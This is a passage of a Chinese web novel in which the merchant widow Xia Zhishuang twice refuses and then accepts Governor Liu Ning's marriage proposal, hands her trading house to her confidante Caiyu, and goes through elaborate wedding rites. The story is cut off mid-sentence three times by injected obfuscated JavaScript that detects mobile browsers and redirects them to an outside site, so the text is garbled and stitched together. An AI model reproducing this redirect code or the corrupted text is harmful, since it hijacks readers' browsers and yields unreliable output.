“外头的风言风语,各位都听说了吧?咱们老记號位于漩涡中心,最近少不了人上门打探。” “诸位都是商行的老人,对外什么话可以说,什么话不该说,必定心中有数,左右你们自己疼着自己的舌头,我就不再赘言。” “我只奉劝你们一句话,食君之禄忠君之事,甭管上头作何决定,都不是你我该操心的事,做好自己的本份即可。” 他回身站定,凌厉的眼神斜斜瞟过去:“再有一点,不可助长歪风邪气,别让我听到下头的小崽子也人云亦云,惹出什么祸端来,否则我让你们吃不了兜着走。” 众掌柜忙称“是”。 丁卯离开后,掌柜们面面相觑,心里都想着同一件事。 陈记要变天了。 能得刘总督青睐,那是烧几辈子高香都投不来的好胎,人往高处走水往低处流,人之常情,毕竟高枝都主动伸到跟前了,傻子才不攀呢。 有的管事唉声叹气,他们对陈记感情很深,一想到陈记或许会改换招牌,不由得心情复杂。 更多的是高兴的人,他们跟丁卯怀着同一个心思。 虽说陈记明面上跟陈家没有一点关系了,可谁不知道幕后掌控之人是哪位呢,所谓一人得道鸡犬升天,东家嫁进总督府后,他们多少能沾点光。 至少陈记能挺直腰杆,往后不再怕观东四郡的大小官吏,也不用再被官府三天俩头以各种名义收取“孝敬”。 熬了那么久,总算熬出头了。 掌柜们平日没少在官老爷那边受气,都觉得扬眉吐气了。 接下来的事态却令人大跌眼镜。 美誉远播的陈家掌舵人夏氏,拒绝了刘总督的追求。 丁卯讶然,陈记上下傻眼,青阳人震惊。 消息迅速传开,观东四郡众说纷纭,乃至成了淇南五郡和高淙三郡饭后茶余的谈资。 扔下“炸弹”的夏知霜早选了个晴朗的天离开是非之地,悄悄去往幽州的苍翎山,在扶微观躲个清净。 28. 第 28 章 她公开婉拒刘宁是鲁元计划中的一环,拒绝的用词由她和鲁元共同斟酌商定。 公子簪缨世族的人家,芝兰玉树,学富五车,高洁宛若云中飞鹤。 妾身出自低微寒门,貌不惊人,才疏学浅,形如瑶塘中芸芸水萍。 常麟凡介之身,碌碌无为,不过尔尔,美名是乡亲们善心盛誉,愧不敢当。 揽镜自照,云泥之别,自惭形秽。 公子或是误信他人夸诞,或是戏言笑尔,妾身无才无德,不奢高攀,博人一笑亦感荣幸。 此番应对,她把自身姿态放得很低,但辞令间全是显而易见的谦虚之意。 人之谦逊,说明其礼周全;知礼晓仪,这个人的教养就差不到哪里去。 很多误以为夏氏是一介粗俗商妇的人,都因为这番言论而对她改观了。 夏氏没有立刻答应求婚,是为不慕强权;拒绝后,给对方搭好了台阶,巧妙的让对方以玩笑话为由下台,缓解尴尬又不得罪人,是为大智慧。 原先因各种缘由不喜她的人都暗暗欣赏起来,本就看好她的人自当好感加倍,不管此前她本人当不当配那么高的声誉,如今这一遭亮相,倒坐实了她确实有令人推崇的资姿。 随后民众的关注点转移了,讨论总督是当真要求娶,还是在顺嘴开玩笑。 这个消息迅速传到淇南和高淙,平王和康王见还有联姻的机会,立马着手做准备。 苍翎山远离尘世,隔绝了外面的纷纷扰扰。 夏知霜暂离青阳城,也是计划中的一环。 刚过陈氏夫妇的祭日不久,她这个“贤妻孝媳”少不得为陈氏一家三口安排法事,对外说是她亲自张罗,实则交钱了就当个甩手掌柜。 扶微观干欺世盗名之事十分熟练,云鹤也非常上道,派玄灵去负责陈家的法事。 夏知霜再次见小道士恍如隔世,郑重道谢,假如不是小道士慈悲,她恐怕在穿过来的第一天就真的被配了阴婚,小道士说是她的贵人都不为过。 玄灵连连推却,不好意思地摸摸脑袋,说她能逃生都是她自己运气好。 再次住进之间待过的客院,夏知霜脸上的笑容淡了下去。 犹记得那时她被陈母挟制,动辄拳踢脚打,烫茶浇头,热汤淋身,吃嘴巴子更是常态。 时至今日,还得给罪有应得的两个老货供奉不断,否则千夫所指,而且为了好好活下去,不得不装出婆媳情深的样子,何其讽刺啊。 夏知霜趴在榻上,颓然泄气:“你说,我是不是挺窝囊的。” “世上除了皇帝,谁活着不窝囊。” 彩玉擓了点祛疤的碧云膏,在手上晕开,涂抹到纤侬合度的玉体上,时轻时重地按摩以助吸收。 “那么多罪都受过来了,如今过着好日子,顶点恶心人的虚名算什么,况且这虚名又利于你,老东西死后还能为你所用,不觉得解气么?” 想想也是。 夏知霜被按得昏昏欲睡,打起精神扭头想看后背,彩玉觉得她动起来碍事,强硬的把她按回去。 碧云膏是一位名医的独门偏方,用了一段时间,药效果真比别的膏药好,手臂和腿脚上的小疤都淡得快看不见了。 她后背的几道鞭子抽出来的疤痕较为严重,就算不嫁人,她也不想身上留着这么个丑陋的东西。 “怎么样?”夏知霜很想知道后背用药后的效果。 “淡了很多,不明显了,”彩玉如实说,接着给她做心理预期,“那大夫说了,这药用多了会伤身,咱们只能用一段停一段,顽固疤痕祛干净是不可能的。” 只能说瞧着没那么触目惊心。 夏知霜意会了,失落地点点头。 其他祛疤的药用了很多,不得已才试到碧云膏,如果碧云膏都不能让她肌肤完好如初,她就认了。 按摩小半个时辰,彩玉麻利收拾东西,心里也是可惜这么香艳的身段添了瑕疵。 夏知霜穿好衣裳,彩玉正好净完手,她示意对方坐下来。 “日后我去了里兴,山高路远,不放心丁卯,欲把商行的重心一同搬往墨同郡,你看如何?” 彩玉即答:“自是极好,里兴有总督署,各方面都略胜青阳一筹。” “等去了里兴,我把陈记交给你管好不好?”夏知霜握住她的手,情真意切,“我身边只有你最信得过。” 彩玉愣住:“……陈记是你立足的根基,这个决定可不能轻易做。” 夏知霜莞尔:“这是我深思熟虑后做的决定,而且你能这么提醒我,我哪里还不放心。” 这个“放心”当然不全靠感情维系。 她进了刘家掌了权势,谁不忌惮她手握生杀大权,在绝对的权势面前,没有任何抗衡之力的部下只有忠心耿耿的份。 到时也会随之忙碌,她有太多的事情要做,不想再分出精力去打理陈记。 这并非试探,而是真心要找个人托付陈记,思来想去,唯有知根知底、胸有城府的人能安心交付。 彩玉转瞬想明白了缘由,隐下激动的情绪,肃然应下。 “任凭差遣,我必竭尽所能。”她顿了顿,有所疑虑,“我虽脱了奴籍,可是已跟陈家非亲非故,没有个名头接理,底下的人怕是不会听从。” 人心的成见是座大山,她曾是陈府的丫鬟,在丁卯和其他掌柜的眼中就一直是丫鬟,他们岂能容忍一个贱奴骑到他们头上发号施令。 最好的办法,竟是重启之前废掉的提议,把她扶为陈鸿彦的侧室,成为正经的陈家一员,才好名正言顺的接掌陈记。 彩玉此前拒绝过再和陈府绑定,眼下却为了帮她主动提出来,夏知霜颇为感动。 “我也有私心,如果只是做个普通侧室就罢了,现在有机会站上陈记的顶端,享受两老货以前拥有的一切,区区虚名担了也就担了。”彩玉坦然地说。 别看她语气轻快,实际情况却没那么乐观,无嗣正妻都得在两年内改嫁,何况是区区妾室。 那陈父的外室玲玲,在陈父死后不敢上门讨要好处,怕的就是过了明路有了名分,会被家主随意安排改嫁。 彩玉自愿付出那么大的牺牲,很难不令人动容。 夏知霜轻摇她的手,含泪保证:“你都为我这么豁出去了,我如何能让你吃亏?你放心,事不至此,我自有主意,你安心接管陈记就是。” 彩玉亦是双目泛泪,冰霜消弭,柔和微笑。 今时今刻,她们才算彻底信赖了彼此。 几日后,来自里兴的一批快马高调进入青阳城,直奔陈府。 青阳县令得知总督署使者进城,立马戴上乌纱帽前去接见,谁想在半路上吃了一鼻子灰。 县令掀开卷帘骂道:“马匹在城区不得疾驰,哪个王八羔子吃了熊心豹子胆,敢在老爷我面前放肆,去,把他们抓起来。” 随从苦着脸:“老爷,后边过去的人,好像就是来使呀。”要抓你去自己抓啊。 县令大惊,忙回头张望:“嗯?!” 哪还能瞥见人影,人家影卫鸟都不鸟他,打听清楚要找的人在哪就径直走往扶微观了。 来使不通关文, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527785|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表明办的是私事,确实有正当理由无视他。 县令悻悻而归,叫夫人出去打听看看,里兴那边究竟有何事到青阳。 没多久,县令夫人就探听清楚了。 里兴来使是总督家臣之一的傅杭,傅杭在扶微观当着其他香客的面儿,把书笺交到陈府夏氏手中,并口述总督的意思。 总督表示,他是真心求娶佳人,之前本来还有点忐忑,略微担心佳人名不副实,但听得她的回音,确认她是个谦虚有礼、进退有度的人,知微见著,想来她就是他苦苦寻觅的知音人。 换句话说,他更爱了! 这次派人来就是表明心迹的,希望她能好好考虑这桩婚事。 香客一传十,十传百,此事在当天就闹得沸沸扬扬。 淇南和高淙那边,同时紧急召回派往观东的信使。 所有人都是一个想法:你夏氏上回是担心总督只是随口开玩笑,现在里兴特地遣使者过去表明心迹,确定总督是真情真意,你总不会拒绝了吧。 结果人家还真拒绝了。 据在场的香客说,那夏氏象征性考虑了两天就给出答复,用的理由也很得体,说傅杭是个经手大事的人,岂能因她之故虚留道观,等了她两天她已觉是自己的罪过了。 然后她丝毫不带犹豫,提笔给了回信,有香客伸头踮脚偷看,窥得只言片语。 她在信中说道,非常感恩总督的真情,只是她实在还没有走出伤痛,且她人微望轻,实实与总督不相配,她会在真君座下日日祈祷,求总督早日觅得佳偶。 众人初初皆以为是幻听。 什么?居然有人敢拒绝总督,还是两次?! 有人感叹她真是个贞洁烈女,总督没看错人,只是襄王有意神女无情,可惜了。 大多数人却是不能理解,人都是巴高望上的,刘府就是观东最高的那根枝儿,怎会有人放弃来之不易的好机会? 更有嫉妒和愤恨的人跑到陈府生事,好在都被早有防备的护院轰走了。 扶微观不能幸免,客似云来。 不过抵达苍翎山的多是富户和官眷,她们以请见夏知霜为主,烧香拜神为次要,约是瞧热闹和打探消息来的。 夏知霜提前换到更隐蔽的院落居住,那里不对外开放,到处都有人守卫,闯进去难如登天。 每天都有一堆人想知道她的下落,道士们被迫拿了很多好处,问就是夏夫人在祭祀,在打坐,在抄经…… 众人探不到一点风声,失望不已。 只有高淙和淇南又高兴了,眼见联姻有望,捡上次现成的礼物休书一封,快马加鞭送到观东去,要快,一定要快! 再快也快不过本地人的速度。 还是傅杭,还是扶微观,还是转达他家主君恳切的求婚书笺,笺上甚至有句“非卿不娶”。 人言事不过三,刘备三顾茅庐都请动诸葛亮出山了,刘总督三次真心求娶,是个人都得动容。 夏知霜没有明着答应:“我是陈家妇,才过孝期就改嫁,得先问问公婆和先夫的意思。” 于是,云鹤老道设法坛,亲自掷筊,掷出了一阴一阳。 圣筊既出,她“勉为其难”答应了婚事。 消息火速散播,观东人大喜过望,替自家总督终于抱得美人归而开心。 只有平王和康王面再度召回信使,差点气得吐血。 平王微生湘率先反应过来,咂摸两下就什么都想通了。 好你个刘季安,把大伙耍得团团,敢情是在把蒙在鼓里的大家当你俩调情的背景板呢! 29. 第 29 章 经过三求二辞的操作,民间果然没什么人再挑剔夏知霜的家世,就算有不看好的人,也都闭嘴不提。 毕竟总督都说非卿不娶了,他们还能有什么意见,总不能真让总督打一辈子光棍不是? 总督娶妻生子,观东后继有人,四郡才能维持安稳太平,有叛军残虐暴政在前,民众愈发信服刘氏的仁政,自当盼着总督署稳如泰山。 夏知霜一点头,里兴那边就行动起来了,迅速敲定婚事的流程。 刘府聘请观东第一媒婆吴喜娘,带上一车队的礼物到青阳说亲。 因观东众人全程围观了这场盛世求婚,纳采和问名两个步骤只是象征性走一走。 讽刺的是,为她和陈鸿彦测算八字的人是云鹤,给她和刘宁合八字的人也是云鹤。 云鹤唯利是图,自是没有说不好的,把他们夸得天花乱坠,什么天作之合,什么命中注定,所有好词都用到他们身上。 民众偏就吃这一套,两人合过八字后,再没有人敢说她有哪里不好。 纵使有人忍不住嘴几句,旁人就先跟他怼起来:老天爷都认可的姻缘,轮得到你个尖酸刻薄的夯货反对? 到了纳吉阶段,新的问题出现了。 众所周知,丛家把夏知霜卖给陈家冲喜,她的户口迁到陈家,官府的档案册上登记了她与丛家已然断亲,理论上她跟丛家没有半点关系了,陈氏又没有别的宗亲,相当于她头顶上已无长辈。 刘宁的宗亲也全军覆没,他们两个皆举目无亲。 办法总比困难多。 云鹤再设一个法坛,将二人的庚帖置于坛上,告知他们九泉下的亲人,二位八字契合,是天造地设的一对儿。 之后是第四个阶段,纳征。 里兴送婚书和聘礼来的那一天,百姓自发沿路围观,只见人抬、马驮和车载聘财的队伍长得看不到头尾,场面极其壮观,众人津津乐道。 婚书红底金字,非常长的一卷,五六张条案拼接才铺得开。 字体再熟悉不过,是刘宁亲笔所提。 夏知霜珍爱而小心翼翼地抚过婚书,指尖不禁在“结契良缘”、“同心永结”等字上停顿,脸颊微微发烫。 于是她也亲自书写答婚书。 想到婚书相当于结婚证,夏知霜就紧张不已,庆幸最近她的书法练到还过得去的程度。 然而,她还是写坏了好几张纸,磨了半宿才写出满意的一张。 答婚书送出去后,这门亲事才算真正定下来了,她终于有了即将成婚的实感。 第五个流程的请期,也是由云鹤占卜出绝佳的黄道吉日,本年的九月初二。 时值阳春三月,就剩半年的时间,算是很赶了。 夏知霜掰着手指头数数,有点发愁,忧心婚前能不能把所有事务都处理妥帖。 她现在才明白,当初彩玉为何那么着急催她早点订婚,真忙起来的时候,时间真的不够用! 而且她总觉得云鹤把时间定那么急有点古怪,她怀疑是刘宁授意云鹤怎么做的。 按照习俗,定下婚期后,他们在成婚前不能再会面,夏知霜便传信到里兴询问。 里兴再次来信的时候,证实了她的猜测。 平王和康王还不死心,还想搞美人计那一套,做不成正妻可以做侧室啊,当然送过来做小的美人就不是其妹和其女了,从旁支里挑个差不多的塞过去就行。 线人还探到,高淙那边甚至想神不知鬼不觉的送几个美人过来,找个机会让刘宁“英雄救美”,让美人们顺势攀到刘府去做内应。 敌方诡计多端,刘宁才想着早点成亲,以免夜长梦多。 既然这么着,她没有任何异议了。 夏知霜挑了个时间,把陈记的重要管事凑在一块,几十号管事束带蹑屐,拜手稽首。 她坐在上首吹了吹热茶,徐徐说:“想必各位早已耳闻,我不日就常居里兴,到时路远迢迢,有些事我不能及时决断,要劳苦诸位了。” 掌柜们忙表示:“东家言重了,分内之事,谈何劳苦。” 丁卯最先反应过来,他转了转眼珠,拱手提议:“里兴繁华,又是四郡的中心,往来各地最是便捷,东家何不把商行迁至里兴?” 夏知霜赞许地看了他一眼,不愧是能坐稳大掌柜的人,机敏精明,闻弦歌而知雅意,不用她多言就冒头抛砖引玉。 她故作吃惊,好似真的第一次听说可以这么做,迟疑道:“陈记历经三代,商行俱设于青阳,若因我之故迁移故土,百年之后恐无颜面对陈家列祖列宗……” 话说到这份上,其他掌柜哪里还不上道,七嘴八舌争先表态。 “此言差矣,里兴比青阳繁盛,陈记搬迁过去利大于弊,是极妙的一步棋。” “没错,依我之见,陈记搬过去定会比现在兴盛。” “是啊,再没有比这个更好的计划了。” 丁卯带头作揖:“请东家决断。” “请东家决断!”掌柜们异口同声。 夏知霜稍作犹豫,放下茶碗,起身还了半礼:“既然如此,我就却之不恭了。” 商行迁移,意味着很多本地的管事也要举家搬过去,很多人对故土有执念,她还半礼以表歉意和谢意。 丁卯和掌柜们侧身避礼。 夏知霜牵过彩玉的手,宣布道:“我日后身兼数职,有时难免分身无暇,今日起,由我的贴身管事彩玉姑娘任陈记的总管,与我同权。” 丁卯愕然,众掌柜诧异。 他们自然知道彩玉的底细,一个少爷房里没名没分的人,只凭一句话就一步登天了。 掌柜们偷看丁卯的脸色,平白多个人压在上头,他这个大掌柜的才是最难受的人。 丁卯不管心里怎么想,要想保住自己的饭碗和儿子的前程,面上都不能泄露一丝不满。 他俯身对夏知霜行礼,再对彩玉拱手:“但凭大总管吩咐。” 有他这句话,彩玉才没有那么悬心吊胆,微笑还礼:“我初来乍到,若有不足,还请大掌柜和各位掌柜指正。” 伸手不打笑脸人,掌柜们纷纷恭维两句。 时间紧迫,章程定下来后,众人开始着手准备。 丁卯主办迁移商行之事。 彩玉一边熟悉陈记的事务,一边和夏知霜交接,她跟夏知霜一起学过经商理财,加上为人聪慧,倒是一块这方面的好料子。 夏知霜同时兼顾多事,每日忙得脚不沾地。 好处是大家都累得不行,没出现她想象中因人事调动而出现的互相算计,不过岔子还是有的。 彩玉抱怨道:“有的掌柜自持是陈记的老人,总爱跟我拿乔,我三催四请,使唤不动人。” 夏知霜近期忙着拨款找人修路,审核四郡要修的路段审花了眼睛,还要顾及商行搬迁的事,忙得不可开交。 她最烦在这个节骨眼挑事的人,那不是没事找事么。 她奋笔疾书,给远在里兴的丁卯回信,头都不抬。 “新官上任三把火,你不杀杀他们的威风怎好立足?去大书房的密室找那个管事的档案,寻个站得住脚的罪名辞退此人,再让其他人拾级而上。” 掌柜之间亦有高低之分,像青阳城的几个掌柜手中握有更多的资源,地位便水涨船高,月薪必然比别地的掌柜多。 只要有正当理由辞掉那个刺头,把地位比他低、同样能干的掌柜提拔上来填补空缺,便是皆大欢喜的事。 彩玉早想到了这个办法,只是没有她的首肯不好行事,闻言当即领命而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531662|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷厉风行处理掉不听派遣的人,新总管的三把火烧得很旺,剩余掌柜算是琢磨透了上头的意思。 东家在用这种方式告诫他们,新总管是她的分身,忤逆总管等同忤逆她,搞清楚是他们离不开陈记,而不是陈记离不开他们,若是不想被扫地出门就得乖乖听话。 大小管事尝到了她手段的厉害,是真心服从她了,不再妄图生事。 陈记事了,丛家那边又不安分了。 早前派去监视的人来报,丛家人对她即将嫁入刘家欣喜若狂,丛父逢人就喜滋滋地自称是总督的岳丈,有朝一日刘总督称王,他可就是国丈了。 夏知霜呼吸凝滞,拍案而起,脱口怒斥:“区区乡野村夫,竟敢信口雌黄,愚不可及!” 刘氏至今以启臣自称,虽实为一方诸侯,但明面上没有半点僭越之举,否则便是“谋反”,是“乱臣贼子”。 这事要是传出去,肯定会给刘宁带去不小的麻烦,搞不好还会影响观淇之间的盟约。 要知道,淇南的平王年年都举着“讨伐逆贼”的正当名号,对周边自立为王的邻居大开杀戒。 此事若传到淇南去,平王就有理由和观东反目,观东局势动荡,她如何坐得稳总督夫人之位。 平生第二次,夏知霜起了杀心。 彩玉劝道:“纵然你们断绝了关系,他们到底还是你的生身父母,天下没有不透风的墙,你若不想有朝一日东窗事发身败名裂,就不可行大逆不道之事。” “我知道,我只是气急了。” 她努力平复心绪,眼中的杀意消散无踪,叫来护院。 “丛家人身染恶疾,你带人护送他们到岩西的庄子上静养,多派人严加看守,没有我的命令不许他们踏出庄子一步。” “小人遵命。”护院即刻带上二十打手离去。 岩西位于深山老林,附近百里渺无人烟,丛家人去了那里就是一辈子被软禁到死的命。 夏知霜不放心,叫来骆怡:“你去盯着他们,务必亲眼看到丛家六口送到岩西。” 骆怡拍着胸脯保证完成任何,并假模假样地叹息:“哎呀,主君当初明明说了只叫我多留半年,谁想一留就是一年多,看来我到九月才能回乡咯。” 夏知霜脸上火辣辣的,自知理亏又不好说什么。 彩玉戏谑道:“何止到九月,我看你这辈子注定是要留在主母身边办差了。” 骆怡咯咯笑:“谁叫主君待夫人如掌上明珠呢,好在要我陪主母一辈子也甘之如饴。”说完便闪身走人。 她俩一口一个“主母”和“夫人”,让夏知霜臊得慌,睨向煽风点火的彩玉,嗔道:“你瞎起什么哄呢。” 彩玉抿唇偷笑,怕她责怪,拿着她盖章好的文书溜之大吉。 处理完丛家人,她顺便安置陈府的人。 夏知霜把几位姨娘召集过来,给她们三条路选,要么回娘家重享天伦之乐,要么出府改嫁,要么在陈府安安分分颐养天年。 不管她们怎么选,她照发她们应得的五两月银,若是不想空度年华选择改嫁,她还会出一笔不菲的嫁妆,体体面面的送她们出嫁。 几位姨娘面面相看,不安有之,惆怅有之。 第一个选择行不通,她们娘家早就没人了,都是孤苦无依、性情绵柔的弱女子,带着细软回乡去定被邻里生吞活剥。 至于第二个选择,她们已年过三十,不受无嗣寡妇需再嫁的限制,再说这个年纪也不想再去嫁人受苦。 姨娘们考虑了几天,选择了第三条路,留在陈府做个没人管还吃穿不愁的闲散人。 夏知霜尊重她们的选择,承诺她们的供给一切照旧。 处理完杂七杂八的事,没了后顾之忧。 忙碌中时光易逝,转眼喜事将近。 30. 第 30 章 新人遥隔两地,刘家的迎亲队伍掐着日子抵达青阳。 刘宁一是贵为四郡父母官,二则政务缠身,不便亲自迎亲,由杜川和傅杭两位得力家臣前来为主母引路。 夏知霜不愿从陈家出嫁,提早在青阳和里兴买下宅子。 她身着深青色婚服,手持鸳鸯戏水团扇,在彩玉的陪同下自夏宅出阁,接受傅杭和杜川领头的叩拜礼后,漫步上了花轿。 送亲队伍由丁卯领头,傅杭和杜川遇事会先找他商议。宰相门前七品官,换作平时,他想见一见这二位大人难如登天,现在双方抬头不见低头见,自是好言好语,和睦礼让。 丁卯这辈子没这么体面过,整天笑得合不拢嘴。 送嫁途中很顺利,纵是有别个包藏祸心的人意图捣鬼,也早早被暗卫神不知鬼不觉的收拾干净了。 从丰瑛郡到台开郡,再到墨同郡,没少遇上拦路祝福的百姓。 送亲队来者不拒,人人都能分到喜糖和红鸡蛋。丁卯还包了喜钱发下去图个吉利,来祝福的人顿时激增,热闹程度空前绝后。 终于按时到达里兴的夏宅,所有人不禁松了口气。 傅杭才进里兴就速回衙门复命,杜川则继续带人守卫夏宅,丁卯安排送亲的人候在府外,只有随行女眷进入宅内。 夏知霜在官道上摇了六天马车,身子骨都快散架了,下轿后哪管什么习俗礼教,马上要沐浴更衣。 婚礼最是遭罪,这句话一点没错。 概因有拜堂前嫁衣不能离身的习俗,洗澡是不能够的,远嫁的新娘子可遭了大罪。她是个很爱干净的人,这几日歇客栈只能用湿布擦身体,别提多难受了。 就这,还得被媒婆用犀利的眼神盯着,生怕她一不小心坏了规矩。 其他习俗就算了,不能洗澡这种糟粕,夏知霜实在受不了。 到了自己的宅子,她的话就是规矩,天王老子来了都得听她的! 前来跪迎的女管家听说她要沐浴,顾不上道吉祥话,迅速带人到浴池做周全的准备,把灶上备着的热水都抬过去,上等的香胰子足有十几种。 时隔多日,夏知霜终于在浴池中痛快地泡了个花瓣澡。 彩玉已习惯她不合常理的举止,对此什么都没说。 吴媒婆见她换了副说一不二的架势,心知管不住这位尊贵的小姑奶奶了,干脆睁一只眼闭一只眼,由她去了。 夜阑人静,一双新人的房内不约而同亮着烛火。 总督署衙门。 刘宁专心致志,晚饭都没用,孜孜不倦地批阅公文。 鲁元想劝他早点歇息,又自知劝不动,捋着胡子摇头叹息,只好舍命陪君子,尽量多替他分担一些公务。 夏宅主卧。 夏知霜缓缓摊开手,绿色小瓷瓶静静躺在掌心。 这是上次没派上用场的洛花毒,她把洛花毒视为保命的手段,可以不用,不能没有。 要是刘宁知道她随身携带这等奇毒,不知作何感想,她不希望刘宁因此疑她,失去好不容易得到的地位。 保险起见,等她在刘家站稳脚跟,有把握不让别人发现洛花毒的存在后,届时再来取吧。 夏知霜又看了洛花毒良久,走到置物架上,打开特地叫工匠打造的暗格,小心存放好碧绿瓷瓶。 匆匆歇过一夜,次晨未至卯时,宅子就活络起来了。 夏知霜睡眼惺忪,有气无力展开双臂,任丫鬟换上另一套崭新的备用婚服。 绞面梳妆一个多时辰,朝食只允许食用两片杏仁甜酥,一口水都不能喝。 上午又是祭天,又是祭祖,她像个提线木偶,隔一会就得在香案前跪拜、添酒和上香,偶尔在玄灵小道士的示意下念几句经文。 这个环节意在敬启神灵和祖宗,通知牠们今天她要出嫁,希望得到牠们的祝福云云。 午时可以小歇两刻钟。 这个时间本该招待娘家的亲朋好友,夏知霜孤家寡人,她就让丫头们给她按摩捶腿缓解疲劳。 彩玉见缝插针,给她喂几小块软糯的桂花味糖糕,看她还没缓过饿劲,又剥了个红皮鸡蛋投喂过去。 夏知霜饥肠辘辘,囫囵吞枣,眼巴巴地望着茶壶。 彩玉凶巴巴:“若是拜堂时来了三急,看你怎么办。”她刀子嘴豆腐,一面狠狠骂人,一面心软地喂新娘子喝了两口温茶。 她把话都训完了,吴媒婆哪里还插得上嘴,索性别过头去装作看不到。 下午,英姿勃发的新郎官在自家拜完祖宗,带着浩浩荡荡的队伍前去迎亲。 丁卯被拨去接待。 观东的婚俗承启制,启朝的婚俗由李唐演化而来。 奠雁之后,新郎行至内院的院门轻敲三下,每敲一下弯腰矮半个头,俗称“叩请”。 第一敲,礼貌告知:夫人,我来迎接你了。 第二敲,放低身段:夫人,嫁给这个不成器的我,真是委屈你了。 第三敲,殷切求娶:夫人,为夫什么都能依你,快快开门吧! 叩请主打一个杀杀新郎的锐气,要新郎明白娶走别人家的爱女十分不易,往后要好好珍惜,互相扶持。 院门离闺房很远,夏知霜什么都没听见,下人来报才知,吩咐他们开门。 彩玉跟着下人一起过去。 院门打开,新郎神清气爽,喜上眉梢。 但开门不意味着新郎就能马上进,得通过“下婿”的考验才被叫进去。 这个环节本是新娘的姑嫂或闺中密友出面,给新郎来个下马威,然而新娘的亲友寥寥无几,加之别人都不敢为难总督,敢为难他的许英慈不巧病了没能来参加。 所以彩玉摩拳擦掌,拉着骆怡一起上阵。 她们时而要求新郎七步成诗,时而要求新郎百步穿杨,转头又要求新郎挑战数杯烈酒。 两个姑娘折腾人的手段层出不穷,硬是拼出了千军万马之势。 娘家人少怎么啦?再少新娘背后也是有人撑腰的,别以为可以随意糊弄! 刘宁不得已使出毕生所学,十八般技艺一一展示。 夏知霜听人一字不落地汇报,别提多感动了,发誓今后要更加爱护彩玉和骆怡,同时庆幸刘宁文武双全,禁得起她们这么折腾。 再之后就是催妆步骤。 刘宁出口成章,连作两首。 夏知霜至今没能点亮品鉴诗词的技能,寻思他在彩玉那也吃够了苦头,遂没多加刁难,轻松放行。 吴媒婆虚扶她出闺阁,她攥紧扇柄,心如擂鼓。 新人隔着团扇四目相视,一个美眸柔如水,一个星目似丝绵,眼神绞在一起难舍难分。 接到新娘后,迎亲队伍启程。 路上成批的百姓拦住队伍献上祝福,人人喜气洋溢。 刘宁意气风发,在骏马上不断向四周拱手致意:“谢谢,多谢诸位。” 迎亲队伍缓慢通行,黄昏时分到达刘府。 刘氏盘踞观东数十年,府邸自是非同一般,跟陈府一样占据附近几条街道,俨然成了鳞次栉比的建筑群。 比起陈府的富丽奢华,刘府巍峨庄严,有种历经尘华的厚重感。 夏知霜从没来过此地,她没有时间细细端量新家,在吴媒婆的示意下继续走流程。 新娘初入夫家不能履地,得在铺设好的毡席上穿行,避免冲犯鬼神。 她甫一跨进门槛,绣鞋刚踏到席上,司仪朗声唱话:“新妇过新门,步步保平安。” 刘府太大了,感觉道路永远没有尽头。 她途径每一处,司仪的吉利话皆脱口而出。 脚快累断时,毡席将她引到一个香案前。 按照观东的规矩,长房长媳在拜堂前先拜见族长,听从族长的一二嘱咐。 刘宁行四,但刘氏只余他继承家业,他成亲必然要走这一环,以示家族传承没断。 问题是刘氏的族亲全没了,只能请云鹤老道设坛,再翻出家族的史册,找到族长在他大哥大嫂婚礼上的训言,抄写成大字高挂于香案后。 刘宁和夏知霜一同上香,静立案前,肃穆地扫视写满诫言的挂纸。 洋洋洋洒洒两大页纸,尊尊教诲后人要风雨同舟,叮嘱小夫妻要恩爱不疑,为刘氏开枝散叶,尽力庇护族人。 默念完训言,叩首三拜,这个礼便算全了。 二人被簇拥到青庐,正式举行成婚的仪式。 行过天地、高堂和夫妻的拜礼,到“同牢”的流程,腿脚发麻的夏知霜等来了坐下的机会。 同牢须新婚夫妇对座,共食一碟牲肉,表示今后要一起生活了,寓意同甘共苦。 肉片是特意用白水煮的,她细嚼慢咽,品着没什么味道。 后一步是合卺酒,夫妻各执一半卺,饮下卺中蜜酒即可。 旋即各自剪下一缕头发,红绳绾结在一起作为信物,合髻同心、携手余生之意。 走到这一步,礼毕,他们从此就是结发夫妻了。 夏知霜百感交集,庆幸扇子顶点用,不至于让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她惋惜地摇摇头,这里摆不开太多东西,作为新娘子,她连自己的席面都没尝过几道。 刘宁露出“果然如此”的神色,拍手示意,丫鬟端着摆盘精致的点心进门。 夏知霜给面子地尝了一口,结果一发不可收拾,她太爱这香滑可口的味道了! 口感丰富,甜而不腻,蜜糖的香气也让人食指大动。 她神情陶醉,刘宁不用问就知道她爱不爱了,见她吃得香,过去也吃了一小块。 点心份量不大,夫妇俩很快分食完毕。 丫鬟端着空碟退下,房门合紧,更显夜色静谧。 刘宁打量她神情:“看你倦色难掩,累坏了吧?” 夏知霜轻甩手腕:“别的倒好,就是一直举着扇子有点儿累人。” “我给你按按。” 他拉着她坐到床沿,认真给她按手。 夏知霜身子微僵,见他当真只是按摩手部,稍稍放松了些。 刘宁跟她分享酒席上的趣事,声音轻柔。 